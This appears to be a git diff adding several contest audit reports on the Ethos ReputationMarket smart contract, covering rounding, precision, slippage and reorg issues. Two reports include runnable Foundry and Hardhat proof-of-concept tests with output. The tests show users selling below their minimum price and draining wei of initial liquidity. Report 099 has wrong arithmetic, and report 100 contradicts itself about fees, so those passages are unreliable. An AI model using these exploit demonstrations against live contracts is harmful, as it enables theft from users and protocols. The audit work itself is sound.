expand with each new participant, creating a storage bloat issue that persists even after participants exit their positions. + +While this doesn't present immediate security risks, it creates long-term scalability issues and potential gas optimization problems. + +## Proof of Concept +The issue is evident in the contract's participant tracking implementation: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L133 + +```solidity +// profileId => participant address +// append only; don't bother removing. Use isParticipant to check if they've sold all their votes. +mapping(uint256 => address[]) public participants; + +// profileId => participant => isParticipant +mapping(uint256 => mapping(address => bool)) public isParticipant; +``` + + +When a new participant enters a market: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L474 + +```solidity +// In buyVotes: +if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; +} +``` + +Even when a participant sells all their votes, they remain in the array: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L559 + +```solidity +// In sellVotes: +votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; +// No removal from participants array +``` + +This creates a monotonic growth pattern where the array size only increases, storage costs grow linearly, and any iteration over participants becomes progressively more expensive. + +## Recommended mitigation steps +The mitigation strategy should focus on efficient data structure management while maintaining necessary functionality. A pagination pattern can be implemented for accessing participant data: + +```solidity +function getParticipants(uint256 profileId, uint256 offset, uint256 limit) + public + view + returns (address[] memory) { + uint256 end = Math.min(offset + limit, participants[profileId].length); + address[] memory result = new address[](end - offset); + for (uint256 i = offset; i < end; i++) { + result[i - offset] = participants[profileId][i]; + } + return result; +} +``` + +For more comprehensive data management, a doubly linked list structure could be implemented to allow participant removal: + +```solidity +struct Participant { + address addr; + uint256 next; + uint256 prev; +} + +mapping(uint256 => mapping(uint256 => Participant)) participants; +``` + +In cases where historical participant data isn't critical, a bounded array with replacement mechanism could be employed: + +```solidity +function addParticipant(uint256 profileId, address participant) internal { + if (participants[profileId].length >= MAX_PARTICIPANTS) { + // Replace oldest inactive participant + for (uint256 i = 0; i < participants[profileId].length; i++) { + address oldParticipant = participants[profileId][i]; + if (!hasActivePosition(profileId, oldParticipant)) { + participants[profileId][i] = participant; + return; + } + } + } else { + participants[profileId].push(participant); + } +} +``` + +The implementation choice should balance data access requirements with gas efficiency and storage optimization, considering the expected scale of market participation and the specific needs for participant data access patterns. \ No newline at end of file diff --git a/097.md b/097.md new file mode 100644 index 0000000..a78ef37 --- /dev/null +++ b/097.md @@ -0,0 +1,104 @@ +Cool Mango Bobcat + +Medium + +# Base L2 Reorg Vulnerability in LMSR Market State Management + +## Summary +The ReputationMarket contract's use of the LMSR (Logarithmic Market Scoring Rule) library is vulnerable to state inconsistencies during Base L2 chain reorganizations. While the LMSR library implements secure mathematical calculations, the market state used as input to these calculations can become invalid during reorgs when the sequencer's state is invalidated by L1 batch data. + +When Base nodes process conflicting L1 data, they automatically reorg to follow that data, which can result in changed vote counts in `markets[profileId].votes`. This creates a window where trades could execute based on incorrect vote counts, price calculations could use invalidated state, and vote balances could temporarily reflect incorrect amounts. + +This vulnerability affects core market mechanics and user funds through incorrect pricing, as the mathematical LMSR model remains correct but operates on potentially invalid state data. + +## Proof of Concept +The vulnerability manifests in the core interaction between ReputationMarket and LMSR: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L992 + +```solidity +// ReputationMarket.sol uses potentially unstable state for LMSR calculations +function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 odds = LMSR.getOdds( + market.votes[TRUST], // Could change during reorg + market.votes[DISTRUST], // Could change during reorg + market.liquidityParameter, + isPositive + ); +} +``` + +The LMSR calculations themselves are mathematically sound: +```solidity +// LMSR.sol - mathematically correct but depends on stable inputs +function getOdds( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter, + bool isYes +) public pure returns (uint256 ratio) +``` + +An attacker can exploit this by monitoring market state in unsafe blocks. Upon identifying a potential reorg condition, they submit transactions based on current vote counts. If a reorg occurs, these transactions execute with outdated state assumptions, creating arbitrage opportunities from the price discrepancy. + +## Recommended mitigation steps +The mitigation strategy requires a fundamental rework of how ReputationMarket interacts with LMSR to ensure stable state inputs. + +At the contract level, market state readings should integrate with Base's block confirmation system: + +```solidity +contract ReputationMarket { + // Add block confirmation requirement + uint256 public constant SAFE_BLOCK_CONFIRMATIONS = 15; // Can be adjusted based on Base's specs + + // Add safe block check modifier + modifier onlySafeBlock(uint256 blockNumber) { + require( + block.number - blockNumber >= SAFE_BLOCK_CONFIRMATIONS, + "Block not safe" + ); + _; + } + + // Modify trading functions to operate on safe blocks + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + // Store current block for validation + uint256 tradeBlock = block.number; + + // Queue the trade + QueuedTrade memory trade = QueuedTrade({ + profileId: profileId, + isPositive: isPositive, + amount: maxVotesToBuy, + minAmount: minVotesToBuy, + blockNumber: tradeBlock, + trader: msg.sender, + value: msg.value + }); + + queuedTrades.push(trade); + emit TradeQueued(profileId, tradeBlock, msg.sender); + } + + // Add settlement function + function settleTrade(uint256 tradeIndex) public onlySafeBlock(queuedTrades[tradeIndex].blockNumber) { + QueuedTrade memory trade = queuedTrades[tradeIndex]; + // Execute trade using confirmed state + _executeTrade(trade); + delete queuedTrades[tradeIndex]; + } +} +``` + +This fix: +1. Queues trades instead of executing immediately +2. Waits for block confirmations before settlement +3. Uses confirmed state for LMSR calculations +4. Effective against reorg vulnerabilities + +The tradeoff is some delay in trade execution, but it ensures safety of the market operations during reorg events. \ No newline at end of file diff --git a/098.md b/098.md new file mode 100644 index 0000000..8a417e8 --- /dev/null +++ b/098.md @@ -0,0 +1,57 @@ +Festive Mint Platypus + +Medium + +# Rounding bias prevalent when buying and selling trust and distrust votes + +### Summary + +As evident from the lines [here](https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L1054C5-L1058C7) we can see that there is clear bias in rounding off direction based on the vote type. + +Current situation: + +Buy TRUST Vote: Round down +Sell TRUST Vote: Round down + +Buy DISTRUST Vote: Round up +Sell DISTRUST Vote: Round up + +This will impact how buying and selling decisions are made and overall the value these votes hold. + + +### Root Cause + +[Here](https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L1054C5-L1058C7) in the `_caclCost` function, the rounding direction is decided based on vote type. + +In addition to that there is implicit rounding down that happens for all cases by default in [LMSR.sol](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol) because of using the PRB math library + +A distrust vote is treated separately from a trust vote when it comes to incentivizing buying and selling of those votes. + +### Internal Pre-conditions + +N/A + +### External Pre-conditions + +N/A + +### Attack Path + +N/A + +### Impact + +The choice to decide the rounding direction based on the vote type will cause the following problems as a result of not rounding the prices in favor of the protocol. i.e Round Up for Buy and Round down for Sell (which is recommended practice) + +* Since TRUST votes always round down, that means if the price of a trust vote increases by a small amount (not passing the next whole number in the integer line) then the buyer can take advantage of this and buy the vote of the increased price at the same old rate. + +* Since DISTRUST votes always round up, that means if the price of distrust vote decreases by a small amount the seller can take advantage of this when he/she changes their mind and decide to sell it back to the protocol at the same old price when it was more valuable. + + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/099.md b/099.md new file mode 100644 index 0000000..fa4523f --- /dev/null +++ b/099.md @@ -0,0 +1,99 @@ +Bald Fuzzy Mantaray + +High + +# Precision Loss in Odds Calculation for LMSR with High Vote Counts + +### Summary +The Logarithmic Market Scoring Rule (LMSR) implementation exhibits a precision loss issue in the calculation of odds and vote prices when the number of "yes" and "no" votes are large and nearly equal relative to the liquidity parameter. This can lead to inaccurate odds calculations due to rounding errors in fixed-point arithmetic, potentially affecting market integrity. + +### Root Cause +The [odds calculation](https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/utils/LMSR.sol#L57-L74) relies on exponential terms scaled by the liquidity parameter `b`, which can result in precision loss when +`yesVotes` and `noVotes` are large and nearly equal relative to 𝑏. Formula for Odds: +```solidity +odds = e^(yesVotes / b) / (e^(yesVotes / b) + e^(noVotes / b)) +``` +When yesVotes and noVotes are very large and close in value: +- `e^(yesVotes / b)` and `e^(noVotes / b)` are nearly identical. +- The denominator `e^(yesVotes / b) + e^(noVotes / b)` becomes dominated by these nearly equal terms. +- Fixed-point representation (like UD60x18) can struggle to represent small differences between the numerator and denominator accurately. + +### Impact + +The derived odds may not accurately reflect the true probabilities of outcomes, leading to vote prices that do not align with market expectations. For example, a discrepancy of approximately 0.000002ETH per vote could lead to a total discrepancy of around 0.266ETH across 13,300,000 votes. + +### PoC + +Odds Calculation for a Premium tier: +```solidity +odds = e^(yes/b) / (e^(yes/b) + e^(no/b)) +``` +Scenario A (Equal Votes): +For example, if both yesVotes and noVotes are 6,650,000: + + +```solidity + yesVotes = 6650000 + noVotes = 6650000 + b = 1000000 +``` +```solidity + Scaled Yes Votes = Yes Votes / b + = 6,650,000 / 1,000,000 + = 6.65 + + Scaled No Votes = No Votes / b + = 6,650,000 / 1,000,000 + = 6.65 +``` + + +```solidity + Exponential for Yes Votes: e^(yes/b) = e^(6.65) ≈ 769.23 + Exponential for No Votes: e^(no/b) = e^(6.65) ≈ 769.23 +``` + + +Scenario B (Slight Disparity): +```solidity + yesVotes = 6,650,001 (an increase of 1) + noVotes = 6,650,000 + +Calculate the exponentials: + + For Yes Votes: + e^(6.650001) ≈ 769.2305 + + For No Votes: + e^(6.65) ≈ 769.23 +``` +If we round these values for fixed-point representation (for example, to two decimal places): +- e^6.650001 rounds to 769.23. +- e^6.65 also rounds to 769.23. + +Even though there was a small difference in the input (yesVotes increased by just one), the resulting exponentials rounded to the same value due to the limitations of fixed-point arithmetic. Consequently, any small differences in e^yes/b and e^no/b are lost during rounding. + + +```solidity + odds = 769.23 / (769.23 + 769.23) + = 769.23 / 1538.46 + = 0.5 +``` + +The vote price is derived using odds and a base price (e.g. 0.01 ETH). + +Accurate Odds: +- If we assume a slight adjustment for accurate odds: 0.500002. +- Vote price: 0.500002 × 0.01 ETH = 0.00000500002 ETH. + +Imprecise Odds: +- Using rounded odds: 0.5. +- Vote price: 0.5 × 0.01 ETH = 0.000005 ETH + +Total Discrepancy Calculation: +- The difference per vote is: 0.500002 − 0.5 = 0.000002 ETH + +Total discrepancy across all votes: 0.000002 ETH × 13,300,000 = 0.266 ETH. + +### Mitigation +To reduce precision loss, the implementation can use a higher-precision fixed-point representation (e.g., UD128x18 or UD256x18), which increases the number of significant digits and helps preserve small differences in the numerator and denominator during the odds calculation. \ No newline at end of file diff --git a/100.md b/100.md new file mode 100644 index 0000000..62c91fd --- /dev/null +++ b/100.md @@ -0,0 +1,62 @@ +Sharp Tangerine Rook + +Medium + +# Incorrect Slippage Check When Selling Votes + +### Summary + +The implementation of the slippage check in the `ReputationMarket` contract is flawed. Currently, the `minimumVotePrice` variable is used to prevent users from selling votes at a price that is too low. However, the comparison is made using `proceedsBeforeFees / votesToSell` instead of `proceedsAfterFees / votesToSell`. This oversight allows users to potentially sell votes for a price lower than intended. + +### Root Cause + +The issue originates from the following code snippet: +[https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L546-L556](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L546-L556) +```solidity + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` +In this code, `proceedsBeforeFees` represents the total value before any fees are deducted, while `proceedsAfterFees` reflects the value after fees have been applied. +Since the fees are included in the `proceedsBeforeFees` variable, the current calculation for `pricePerVote` effectively equates to using `proceedsAfterFees / votesToSell`. + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Due to this flaw, users may sell their votes for a price that is lower than the expected minimum, leading to potential financial losses. + +### PoC + +The correct logic dictates that when users sell votes through the protocol, they should first receive the proceeds from the sale and then pay any applicable fees. Therefore, it is essential to check the slippage against the net proceeds after fees have been deducted at the time of the sale. + +### Mitigation + +To resolve this issue, the calculation for `pricePerVote` should be adjusted to use `proceedsAfterFees` instead of `proceedsBeforeFees`. The corrected code is as follows: +```solidity +- uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; +``` + +```solidity ++ uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees / votesToSell : 0; +``` diff --git a/101.md b/101.md new file mode 100644 index 0000000..0b62909 --- /dev/null +++ b/101.md @@ -0,0 +1,224 @@ +Docile Lilac Gecko + +Medium + +# Incorrect Calculation of Price Per Vote in Sell Transactions + +### Summary + +The `sellVotes` function in the `ReputationMarket` contract is vulnerable to an issue in which the calculated `pricePerVote` includes protocol fees in the numerator. As a result, the function does not guarantee that the user receives the minimum expected value (`minimumVotePrice`) per vote after protocol fees are deducted. This could lead to unfair transactions, where users receive less than their specified minimum price per vote. +Line of code: [sellvotes()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539-L578) +```solidity + function sellVotes( + //....// + ) public whenNotPaused activeMarket(profileId) nonReentrant { + //.... + + //@audit the user is actually selling at price per token + fees. to maintain fairness, we should use price per token without fees(proceedsAfterFees). + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + //.... + } + ``` + + +### Root Cause + +The function calculates `pricePerVote` using the `proceedsBeforeFees` value, which includes protocol fees. The calculation should instead use `proceedsAfterFees` to ensure the actual amount received per vote meets or exceeds the `minimumVotePrice`. + +### Impact + +Users may receive less than their expected minimum price when selling votes due to the incorrect price calculation, leading to unexpected financial losses and eroding trust in the platform’s fairness. + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import {Test} from "forge-std/Test.sol"; +import {console2} from "forge-std/console2.sol"; +import {ReputationMarket} from "../src/ReputationMarket.sol"; +import {ContractAddressManager} from "../src/utils/ContractAddressManager.sol"; +import {EthosProfile} from "../src/EthosProfile.sol"; +import {Proxy} from "@openzeppelin/contracts/proxy/Proxy.sol"; + +contract ProxyTest is Proxy { + address implementation; + constructor(address implementation_) { + implementation = implementation_; + } + function _implementation() internal view override returns (address) { + return implementation; + } +} + +contract ReputationMarketExploitTest is Test { + ContractAddressManager contractAddressManager; + ProxyTest proxyReputationMarket; + ProxyTest proxyEthosProfile; + + address owner = makeAddr("owner"); + address admin = makeAddr("admin"); + address signatureVerifier = makeAddr("signatureVerifier"); + address marketCreator = makeAddr("marketCreator"); + + // Attack addresses + address trustBuyingUser = makeAddr("trustBuyingUser"); + address untrustBuyingUser = makeAddr("untrustBuyingUser"); + address attacker = makeAddr("attacker"); + + uint256 constant MARKET_ID = 2; + uint256 constant LIQUIDITY_PARAMETER = 1000; + uint256 constant BASE_PRICE = 0.01 ether; + + function setUp() public { + console2.log("=== Setting up Test Environment ==="); + + vm.startPrank(owner); + + // Deploy contracts + ReputationMarket market = new ReputationMarket(); + EthosProfile ethosProfile = new EthosProfile(); + contractAddressManager = new ContractAddressManager(); + proxyReputationMarket = new ProxyTest(address(market)); + proxyEthosProfile = new ProxyTest(address(ethosProfile)); + + // Initialize Market + (bool success, ) = address(proxyReputationMarket).call( + abi.encodeWithSignature( + "initialize(address,address,address,address,address)", + owner, + admin, + address(market), + signatureVerifier, + address(contractAddressManager) + ) + ); + require(success, "Market initialization failed"); + + // Initialize Profile + (success, ) = address(proxyEthosProfile).call( + abi.encodeWithSignature( + "initialize(address,address,address,address,address)", + owner, + admin, + address(ethosProfile), + signatureVerifier, + address(contractAddressManager) + ) + ); + require(success, "Profile initialization failed"); + + // Setup contract addresses + address[] memory contractAddresses = new address[](1); + string[] memory names = new string[](1); + contractAddresses[0] = address(proxyEthosProfile); + names[0] = "ETHOS_PROFILE"; + contractAddressManager.updateContractAddressesForNames(contractAddresses, names); + + // Invite market creator + (success, ) = address(proxyEthosProfile).call( + abi.encodeWithSignature("inviteAddress(address)", marketCreator) + ); + vm.stopPrank(); + + // Create profile for market creator + vm.startPrank(marketCreator); + (success, ) = address(proxyEthosProfile).call( + abi.encodeWithSignature("createProfile(uint256)", 1) + ); + vm.stopPrank(); + + // Allow market creation + vm.startPrank(admin); + (success, ) = address(proxyReputationMarket).call( + abi.encodeWithSignature("setUserAllowedToCreateMarket(uint256,bool)", MARKET_ID, true) + ); + (success, ) = address(proxyReputationMarket).call( + abi.encodeWithSignature("setProtocolFeeAddress(address)", owner) + ); + (success, ) = address(proxyReputationMarket).call( + abi.encodeWithSignature("setExitProtocolFeeBasisPoints(uint256)", 500) + ); + vm.stopPrank(); + + // Create market + vm.startPrank(marketCreator); + deal(marketCreator, 0.2 ether); + (success, ) = address(proxyReputationMarket).call{value: 0.2 ether}( + abi.encodeWithSignature("createMarket()") + ); + vm.stopPrank(); + + console2.log("Market created with:"); + console2.log("- Liquidity Parameter:", LIQUIDITY_PARAMETER); + console2.log("- Base Price:", BASE_PRICE); + console2.log("- Initial Balance:", address(proxyReputationMarket).balance); + } + + function test_spillageWhileSelling() public { + //1. Making a balanced market + console2.log("\n=== Starting Exploit Test ==="); + vm.prank(trustBuyingUser); + deal(trustBuyingUser, 1 ether); + (bool success, bytes memory data) = address(proxyReputationMarket).call{value: 1 ether}( + abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, true, 1000, 0) + ); + vm.prank(untrustBuyingUser); + deal(untrustBuyingUser, 1 ether); + (success, data) = address(proxyReputationMarket).call{value: 1 ether}( + abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, 1000, 0) + ); + (, data) = address(proxyReputationMarket).call( + abi.encodeWithSignature("getMarket(uint256)", MARKET_ID) + ); + (ReputationMarket.MarketInfo memory marketInfo) = abi.decode(data, (ReputationMarket.MarketInfo)); + console2.log("\nMarket state after balanced votes:"); + console2.log("- Trust Votes:", marketInfo.trustVotes); + console2.log("- Distrust Votes:", marketInfo.distrustVotes); + + //2. Selling trust votes + vm.startPrank(trustBuyingUser); + + uint256 balanceBefore = address(trustBuyingUser).balance; + (success, ) = address(proxyReputationMarket).call( + abi.encodeWithSignature("sellVotes(uint256,bool,uint256,uint256)", MARKET_ID, true, 100, 4.8e15) + ); + uint256 netBalance = address(trustBuyingUser).balance - balanceBefore; + console2.log("\nActual PricePerToken from the trade:", netBalance/100); + assertLt(netBalance/100, 4.8e15); + } +} +``` +Output of this test: +```solidity + === Setting up Test Environment === + Market created with: + - Liquidity Parameter: 1000 + - Base Price: 10000000000000000 + - Initial Balance: 200000000000000000 + +=== Starting Exploit Test === + +Market state after balanced votes: + - Trust Votes: 191 + - Distrust Votes: 209 + +Expected PricePerToken from the trade: 4800000000000000 + +Actual PricePerToken from the trade: 4588595788213988 +``` + +### Mitigation + +Update the calculation of `pricePerVote` to use `proceedsAfterFees` instead of `proceedsBeforeFees`. This ensures that the user receives at least their specified `minimumVotePrice` after protocol fees are: +```solidity +uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees / votesToSell : 0; +if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); +} +``` \ No newline at end of file diff --git a/102.md b/102.md new file mode 100644 index 0000000..cd8e9b7 --- /dev/null +++ b/102.md @@ -0,0 +1,223 @@ +Old Coffee Rattlesnake + +Medium + +# Incorrect rounding direction in cost calculation: `_calcCost()` will lead to potential initial fund loss for market. + +### Summary +The incorrect rounding direction in the [`_calcCost()`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1017-L1059) function of `ReputationMarket.sol` may cause potential fund loss and break the main invariant. + +According to the [Ethos Update README](https://github.com/sherlock-audit/2024-12-ethos-update?tab=readme-ov-file#q-what-propertiesinvariants-do-you-want-to-hold-even-if-breaking-them-has-a-lowunknown-impact) +> **The contract must never pay out the initial liquidity deposited as part of trading**. The only way to access those funds is to graduate the market. + +The function currently rounds based on the outcome side (`isPositive`) instead of the action (buying or selling). This leads to the protocol paying out more than intended when users sell `DISTRUST` votes, especially in markets with low liquidity param and base price configurations. + +### Root Cause + +In [ReputationMarket.sol](ethos/packages/contracts/contracts/ReputationMarket.sol), the `_calcCost()` function rounds based on the outcome side (`isPositive`). Its rounding direction will always round up when handling `TRUST` votes and round down when handling `DISTRUST` votes in both `BUY` and `SELL` actions. + +This makes sense in the odds calculation (`votePrice`, which is the derivative of the cost calculation) as it aims to calculate the chance of outcomes so it should maintain the sum to 1 (`basePrice`). + +However, the cost calculation should be treated differently as this represents the payout cost that users have to pay (BUY) or receive (SELL) for votes in each market. + +```solidity +function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount + ) private pure returns (uint256 cost) { + +--- SNIPPED --- + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); + // multiply cost ratio by base price to get cost; divide by 1e18 to apply ratio + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +1057: isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + } +``` + +Consider the action of selling `DISTRUST` votes (ref. PoC). The **total sale will round up** (if it is not modulo 0 for the numerator and denominator: [Openzeppelin/Math.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/Math.sol#L228-L230)). Therefore, **this rounding will cause the user to receive more than the actual sale**, which is unfavorable to the protocol. + +This can easily happen in markets with low configurations, as the market configuration condition allows the minimum configuration to be `liquidity (b): 100` and `basePrice: 0.0001 ether (MINIMUM_BASE_PRICE)`. There is potential for these issues to occur and also break the protocol invariants. + +### Internal pre-conditions + +* A market with low liquidity param and low base price configuration is available. + +### Impact + +The protocol **suffers a potential loss of initial liquidity due to incorrect rounding in cost calculations**. Even though the rounding will cause a loss of 1 wei per selling time, users can partially sell the amount they own to extract the initial funds from the rounding issue. + +According to the [Sherlock criteria about invariant breaking](https://docs.sherlock.xyz/audits/judging/guidelines#iii.-sherlocks-standards), I believe this issue does not conflict with common sense and can be treated as **Medium**. + +> Issues that break the invariants from the above question, irrespective of whether the impact is low/unknown, could be assigned Medium severity if it doesn't conflict with common sense. High severity will be applied only if the issue falls into the High severity category in the judging guidelines. + +### PoC +* Put the snippet below into: `ethos/packages/contracts/test/reputationMarket/rep.market.test.ts` +* Run the test script: +`npm run test:contracts -- --grep "PoC" test/reputationMarket/rep.market.test.ts` + +[To run the test, navigate to `ethos/packages/contracts` then run the test] + +#### Coded PoC +
+ Coded PoC + +```typescript + describe('PoC', () => { + let initialBalance: BigInt; + let reputationMarketBefore, reputationMarketAfter: BigInt; + let marketFundsBefore, marketFundsAfter: BigInt; + + beforeEach(async () => { + // NEW CONFIG: adding new config (edge case config) + await reputationMarket + .connect(deployer.ADMIN) + .addMarketConfig( + 100n, + await reputationMarket.MINIMUM_BASE_PRICE(), + ethers.parseEther('0.01'), + ); + + // CREATE MARKET: create the market with new config + const configIndex = 3; + const config = await reputationMarket.marketConfigs(configIndex); + initialBalance = config.creationCost; + await reputationMarket + .connect(deployer.ADMIN) + .createMarketWithConfigAdmin(ethosUserB.signer.address, configIndex, { + value: initialBalance, + }); + + + const market = await reputationMarket.getMarket(ethosUserB.profileId); + expect(market.liquidityParameter).to.equal(100n); + expect(market.basePrice).to.equal(await reputationMarket.MINIMUM_BASE_PRICE()); + }); + + it('Rounding direction causes draining the initial funds', async () => { + reputationMarketBefore = await ethers.provider.getBalance(reputationMarket.getAddress()); + marketFundsBefore = await reputationMarket.marketFunds(ethosUserB.profileId); + expect(reputationMarketBefore === initialBalance); + expect(marketFundsBefore === initialBalance); + + // BUY: userA buy DISTRUST votes from userB's market + await userA.buyVotes({ + profileId: ethosUserB.profileId, + isPositive: false, + votesToBuy: 5n, + minVotesToBuy: 0n, + buyAmount: ethers.parseEther('10'), + }); + + // SELL: + await userA.sellVotes({ + profileId: ethosUserB.profileId, + isPositive: false, + sellVotes: 2n + }); + + await userA.sellVotes({ + profileId: ethosUserB.profileId, + isPositive: false, + sellVotes: 3n + }); + + + // LOGs + marketFundsAfter = await reputationMarket.marketFunds(ethosUserB.profileId); + const { trustVotes, distrustVotes } = await userA.getVotes({profileId: ethosUserB.profileId}); + reputationMarketAfter = await ethers.provider.getBalance(reputationMarket.getAddress()); + + /* eslint-disable no-console */ + console.group('Market Details'); + console.log('marketFunds: %s', marketFundsAfter); + console.log('trustVotes for userA: %s', trustVotes); + console.log('distrustVotes: %s', distrustVotes); + console.groupEnd(); + + console.group('Reputation Market Balance Changes'); + console.log('reputation market ETH balance changes: %s', reputationMarketAfter - reputationMarketBefore); + console.groupEnd(); + + // PoC ASSERTION + expect(reputationMarketAfter < reputationMarketBefore); + expect(marketFundsAfter < marketFundsBefore); + }); + + it('Rounding direction causes draining the initial funds: more partially sells', async () => { + + reputationMarketBefore = await ethers.provider.getBalance(reputationMarket.getAddress()); + marketFundsBefore = await reputationMarket.marketFunds(ethosUserB.profileId); + expect(reputationMarketBefore === initialBalance); + expect(marketFundsBefore === initialBalance); + + // BUY: userA buy DISTRUST votes from userB's market + await userA.buyVotes({ + profileId: ethosUserB.profileId, + isPositive: false, + votesToBuy: 5n, + minVotesToBuy: 0n, + buyAmount: ethers.parseEther('10'), + }); + + // SELL: + for(let i = 0; i<5; ++i) { + await userA.sellVotes({ + profileId: ethosUserB.profileId, + isPositive: false, + sellVotes: 1n + }); + } + + // LOGs + marketFundsAfter = await reputationMarket.marketFunds(ethosUserB.profileId); + const { trustVotes, distrustVotes } = await userA.getVotes({profileId: ethosUserB.profileId}); + reputationMarketAfter = await ethers.provider.getBalance(reputationMarket.getAddress()); + + /* eslint-disable no-console */ + console.group('Market Details'); + console.log('marketFunds: %s', marketFundsAfter); + console.log('trustVotes for userA: %s', trustVotes); + console.log('distrustVotes: %s', distrustVotes); + console.groupEnd(); + + console.group('Reputation Market Balance Changes'); + console.log('reputation market ETH balance changes: %s', reputationMarketAfter - reputationMarketBefore); + console.groupEnd(); + + // PoC ASSERTION + expect(reputationMarketAfter < reputationMarketBefore); + expect(marketFundsAfter < marketFundsBefore); + }); + }); +``` +
+ +#### Result +Results of running the test: +```bash + ReputationMarket + PoC +Market Details + marketFunds: 9999999999999999n + trustVotes for userA: 0n + distrustVotes: 0n +Reputation Market Balance Changes + reputation market ETH balance changes: -1n + ✔ Rounding direction causes draining the initial funds (49ms) +Market Details + marketFunds: 9999999999999997n + trustVotes for userA: 0n + distrustVotes: 0n +Reputation Market Balance Changes + reputation market ETH balance changes: -3n + ✔ Rounding direction causes draining the initial funds: more partially sells (64ms) +``` + +### Mitigation +- Adjust the rounding direction in the `_calcCost()` function to be based on the market action (buying or selling) rather than the outcome side (`isPositive`). \ No newline at end of file diff --git a/103.md b/103.md new file mode 100644 index 0000000..562e1ca --- /dev/null +++ b/103.md @@ -0,0 +1,34 @@ +Tame Berry Tiger + +Medium + +# Prices of TRUST vote and DISTRUST vote do not sum up to 1 when basePrice >= 1 ether + +### Summary + +A main invariant of the protocol is that the addition of TRUST vote price and DISTRUST vote price must always be equal to market's basePrice. However, this only happens when market is totally balanced (TRUST votes amount = DISTRUST votes amount) as the price of each vote is the half of basePrice. Whenever there are more votes of one type than the other, prices will not add up to 1 (basePrice). + +### Root Cause + +This happens due to the way prices are calculated. To get the price of a TRUST/DISTRUST vote in a given market, firstly odds of that vote in that market are calculated in 1e18 format; then the final price is calculated as odds * basePrice / 1e18, rounded down when vote is TRUST and up when it is DISTRUST. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L992-L1004 + +As a result, the addition of both vote prices will be equal to a value close to basePrice, but lower if the basePrice >= 1 ether. The remaining to reach basePrice depends on basePrice itself. Examples (tested in Remix): +TRUST votes = 5, DISTRUST votes = 7, liquidity = 20, basePrice = 1 ether. TRUST vote price = 475020812521060013, DISTRUST vote price = 524979187478939986, sum of both prices = 999.999.999.999.999.999 (should be 1e18, equal to basePrice). + +TRUST votes = 5, DISTRUST votes = 7, liquidity = 20, basePrice = 10 ether. TRUST vote price = 4750208125210600130, DISTRUST vote price = 5249791874789399860, sum of both prices = 9.999.999.999.999.999.990 (should be 10e18, equal to basePrice). + +This difference is due to the fact that rounding is made in the final operation, instead of in getOdds() function, which would make the sum equal to 1 in all cases as requested by the invariant. For the same examples as above, these are the odds: + +TRUST votes = 5, DISTRUST votes = 7, liquidity = 20. TRUST vote odds = 475020812521060013, DISTRUST vote odds = 524979187478939986, sum of both odds = 999.999.999.999.999.999 (should be 1e18, equal to 100%). As odds do not up to 100%, the sum of TRUST and DISTRUST prices neither will do. + +### Impact + +One of the main invariant of the protocols is broken because of a rounding number issue. As long as a market with basePrice >= 1 ether has more votes of one kind than the other TRUST and DISTRUST vote prices will not add up to basePrice. + +### Mitigation + +Apply the rounding of decimals in getOdds() function so that both odds add 